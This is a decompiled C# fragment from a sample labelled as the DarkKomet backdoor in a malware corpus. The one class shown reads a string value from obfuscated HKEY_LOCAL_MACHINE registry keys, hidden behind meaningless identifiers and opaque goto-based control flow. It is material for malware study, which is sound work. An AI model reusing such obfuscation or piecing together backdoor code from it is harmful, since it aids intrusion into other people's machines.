// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe

using \u0003;
using \u0008;
using Microsoft.Win32;

namespace \u0008
{
  internal class \u0006\u0002
  {
    public static string \u0006\u0002()
    {
      string str1;
      try
      {
        RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey(\u001E\u0004.\u0006\u0002());
        if (true)
          goto label_9;
label_1:
        if (false)
          goto label_4;
        else
          goto label_13;
label_2:
        RegistryKey registryKey2 = \u0007\u0004.\u007E\u0099\u0005((object) Registry.LocalMachine, \u001E\u0004.\u001E\u0004());
        RegistryKey registryKey3;
        if (true)
          registryKey3 = registryKey2;
label_3:
        if (registryKey3 != null)
        {
          string str2 = (string) \u0008\u0004.\u007E\u009A\u0005((object) registryKey3, \u0002.\u0002\u0002(114), (object) null);
          if (true)
            goto label_12;
label_8:
          \u001A\u0002.\u007E\u0098\u0005((object) registryKey3);
          string str3;
          str1 = str3;
          goto label_15;
label_12:
          str3 = str2;
          goto label_8;
        }
label_4:
        if (true)
          goto label_11;
label_5:
        if (true)
        {
          if (false)
            goto label_2;
          else
            goto label_15;
        }
        else
          goto label_1;
label_11:
        str1 = (string) null;
        goto label_5;
label_13:
        if (registryKey3 != null)
          goto label_3;
        else
          goto label_2;
label_9:
        registryKey3 = registryKey1;
        goto label_1;
      }
      catch
      {
        str1 = (string) null;
      }
label_15:
      return str1;
    }
  }
}
